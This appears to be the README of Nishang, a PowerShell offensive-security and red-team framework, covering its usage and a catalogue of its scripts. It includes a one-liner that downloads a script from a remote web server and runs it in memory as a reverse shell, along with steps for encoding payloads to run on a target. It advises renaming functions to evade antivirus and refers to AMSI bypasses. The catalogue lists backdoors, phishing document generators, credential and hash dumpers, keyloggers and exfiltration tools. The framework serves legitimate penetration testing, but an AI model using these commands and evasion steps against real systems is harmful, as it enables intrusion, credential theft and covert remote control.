Nishang
Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
By nikhil_mitt
Usage
Import all the scripts in the current PowerShell session (PowerShell v3 onwards).
PS C:\nishang> Import-Module .\nishang.psm1Use the individual scripts with dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-InformationTo get help about any script or function, use:
PS C:\nishang> Get-Help [scriptname] -fullNote that the help is available for the function loaded after running the script and not the script itself since version 0.3.8. In all cases, the function name is same as the script name.
For example, to see the help about Get-WLAN-Keys.ps1, use
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -FullAnti Virus
Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:
Method 1. Use the in-memory dowload and execute: Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]Method 2. Use the -encodedcommand (or -e) parameter of PowerShell
All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Encode the scrript using Invoke-Encode from Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommandEncoded data written to .\encoded.txt
Encoded command written to .\encodedcommand.txt
From above, use the encoded script from encodedcommand.txt and run it on a target where commands could be executed (a remote shell, meterpreter native shell, a web shell etc.). Use it like below:
C:\Users\target> powershell -e [encodedscript]If the scripts still get detected changing the function and parameter names and removing the help content will help.
In case Windows 10's AMSI is still blocking script execution, see this blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
Scripts
Nishang currently contains the following scripts and payloads.
ActiveDirectory
Modify AD objects to provide minimal permissions required for DCShadow.
Antak - the Webshell
Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell.
Backdoors
A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.
A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.
A backdoor which can execute PowerShell scripts at a given time on a target.
A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.
A backdoor which can use Windows screen saver for remote command and script execution.
A backdoor which can use alternate data streams and Windows Registry to achieve persistence.
A backdoor which uses well known Debugger trick to execute payload with Sticky keys and Utilman (Windows key + U).
Modify permissions of DCOM and WMI namespaces to allow access to a non-admin user.
Modify permissions of PowerShell remoting to allow access to a non-admin user.
Bypass
Implementation of publicly known methods to bypass/avoid AMSI.
Client
Create infected CHM files which can execute PowerShell commands and scripts.
Create Word files and infect existing ones to run PowerShell commands and scripts.
Create Excel files and infect existing ones to run PowerShell commands and scripts.
Create a HTA file which can be deployed on a web server and used in phishing campaigns.
Create signed JAR files which can be used with applets for script and command execution.
Create shortcut files capable of executing PowerShell commands and scripts.
Create IQY files for phishing credentials and SMB hashes.
Create JS files capable of executing PowerShell commands and scripts.
Create SCT files capable of executing PowerShell commands and scripts.
Create a SCF file which can be used for capturing NTLM hash challenges.
Escalation
When SYSTEM privileges are required.
Introduce vulnerabilities by removing patches.
Bypass UAC.
Execution
Download and execute a PowerShell script in memory.
Download an executable in text format, convert it to an executable, and execute.
Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.
Execute shellcode in memory using DNS TXT queries.
Execute PowerShell commands and scripts or a reverse PowerShell session using rundll32.exe.
Gather
Check for a virtual machine.
Copy the SAM file using Volume Shadow Copy Service.
Trick a user into giving credentials in plain text.
A pair of scripts for egress testing
Get juicy information from a target.
Get LSA Secret from a target.
Get password hashes from a target.
Get WLAN keys in plain text from a target.
Log keystrokes from a target.
Invoke-MimikatzWdigestDowngrade
Dump user passwords in plain on Windows 8.1 and Server 2012
Get password hints of Windows users from a target.
Connect back and Stream target screen using MJPEG.
Load mimikatz in memory. Updated and with some customisation.
Extract juicy information from target process (like browsers) memory using regex.
Exfiltrate information like user credentials, using WLAN SSID.
Identify admin jump-boxes and/or computers used to access Unix machines.
MITM
A local HTTPS proxy for MITM attacks.
Pivot
Check credentials on multiple computers and create PSSessions.
Run-EXEonRemote Copy and execute an executable on multiple machines.
Invoke-NetworkRelay Create network relays between computers.
Prasadhak
Check running hashes of running process against the VirusTotal database.
Scan
Brute force FTP, Active Directory, MSSQL, and Sharepoint.
A handy port scanner.
Powerpreter
All the functionality of nishang in a single script module.
Shells
Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent
Execute commands and scripts sent by Invoke-PsGcat.
An interactive PowerShell reverse connect or bind shell
Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.
Invoke-PowerShellTcpOneLineBind
Bind version of Invoke-PowerShellTcpOneLine.
An interactive PowerShell reverse connect or bind shell over UDP
Stripped down version of Invoke-PowerShellUdp.
Reverse interactive PowerShell over HTTPS.
Reverse interactive PowerShell over HTTP.
Clean the system after using Invoke-PoshRatHttps
Interactive PowerShell using WMI.
An interactive PowerShell reverse shell over ICMP.
An interactive PowerShell reverse shell over HTTP using rundll32.exe.
An interactive PowerShell reverse shell over HTTP using regsvr32.exe.
Utility
Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.
Add reboot persistence capability to a script.
Remote persistence added by the Add-Persistence script.
Pipe (|) this to any script to exfiltrate the output.
Transfer a file to the target.
Parse keys logged by the keylogger.
Encode and compress a script or string.
Decode and decompress a script or string from Invoke-Encode.
Run a web server which logs Basic authentication and SMB hashes.
Encode a string to ROT13 or decode a ROT13 string.
Generate DNS TXT records which could be used with other scripts.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
Updates
Updates about Nishang can be found at my blog http://labofapenetrationtester.com and my Twitter feed @nikhil_mitt.
Bugs, Feedback and Feature Requests
Please raise an issue if you encounter a bug or have a feature request. You can email me at nikhil [dot] uitrgpv at gmail.com
Mailing List
For feedback, discussions, and feature requests, join: http://groups.google.com/group/nishang-users
Contributing
I am always looking for contributors to Nishang. Please submit requests or drop me an email.
Blog Posts
Some helpful blog posts to check out for beginners:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
All posts about Nishang: